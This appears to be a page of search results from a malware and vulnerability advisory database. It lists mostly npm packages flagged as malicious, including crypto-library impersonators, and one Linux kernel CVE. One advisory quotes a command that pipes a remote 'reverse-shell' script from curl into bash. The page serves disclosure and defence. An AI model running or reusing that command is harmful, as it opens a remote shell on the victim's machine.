15809 matches found
MAL-2026-10797 Malicious code in @gocortexio/npmgremlinbox-cc-by-nc-nd-3-0-de (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5e285fcafad462340d980568e8c345cbc9e879d2d9ee5cb2c61fb46a97e6de73 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-10808 Malicious code in @gocortexio/npmgremlinbox-cc-by-sa-3-0-de (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 89b99be8fcb87a9c06989edb3b62e804fa2ebea83cd48b65eeac6b57f1636629 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-10799 Malicious code in @gocortexio/npmgremlinbox-cc-by-nc-sa-2-0-de (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b2ec8b494d13d9e9c582f801e1fa46d371b6810b130a93614926880e26b4bcc Package @gocortexio/[email protected] was scanned with 4 files inspected. No a static rule matches and no behavioral findings we...
MAL-2026-10807 Malicious code in @gocortexio/npmgremlinbox-cc-by-sa-3-0-at (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 7a567f9fda6a70475cc32be7b5392bbc1a3c1787b8323c1ff2bc6c237e198fdc Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-10800 Malicious code in @gocortexio/npmgremlinbox-cc-by-nc-sa-2-0-fr (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 933588b9a5c2cea515a44021ac2f30bdd62c252222765b83873fb0722afb931c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-10802 Malicious code in @gocortexio/npmgremlinbox-cc-by-nc-sa-3-0-de (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 68161a49a3b8e2933eedf9545f29048260a979f1a2c77dde57c806c9ec7d0179 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in @gocortexio/npmgremlinbox-agpl-3-0-or-later (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 22de3b316748990f8d632fd0fa7ca312c4f5fd38ddf61986331ae0ad4c14280b No a static rule matches and no traced behavioral findings for this package version. Nothing in the scanned files indicates exfiltration, install-tim...
MAL-2026-10791 Malicious code in @gocortexio/npmgremlinbox-artistic-1-0 (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware a54621aca82e78e4ee4adc57b3925274a0c7bf3b2d11d6d5af655c584de7fa45 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
CVE-2026-64003
In the Linux kernel, the following vulnerability has been resolved: scsi: core: Run queues for all non-SDEVDEL devices from scsirunhostqueues While a SCSI host is in a recovery state, scsimqrequeuecmd will not set the requeue list for a requeued command to be kicked in the future. The expectation...
MAL-2026-10694 Malicious code in vor8zakon (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99924288481504c324c3f573ba7ba99ac4e1c7a7f22a940c94d81059b868fdfd Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exports nothing. package.json...
Malicious code in internallib_v907 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...
MAL-2026-10664 Malicious code in @fhkry/baileys-v2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 1df6de5ff23e958b57990b451c573aa5d669585436b369cffc01aa122aa8f647 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-10666 Malicious code in crypto-hasher (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5162012006c5d2576c6f93540445f10185d44acfb5cef39764f7a2b45c45d205 [email protected] impersonates the hash-wasm library. Its main entrypoint dist/index.umd.js injects code into the WASM Interface update method so...
Malicious code in crypto-hasher (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5162012006c5d2576c6f93540445f10185d44acfb5cef39764f7a2b45c45d205 [email protected] impersonates the hash-wasm library. Its main entrypoint dist/index.umd.js injects code into the WASM Interface update method so...
MAL-2026-10667 Malicious code in true (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3e9073206745b049b5e95082a78cf8c0b48f7dc68cdadf1d20be35c0a89aeecb Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in ssweb-wp (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4cdc75de95852418c3d695299d52199b24e52202b2e5595089b3107a73c1e86b The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in webpack-session-cache (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0007695a788bff7d6d0a87ee48de6771c12a1e21241bd3fc0bc7b5509608533e The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-10596 Malicious code in @ayunlove/bails (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c8fc6c8b6ac94f8325f4aa6958480a40a9e8b912f7007f11e86a41ab13106894 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
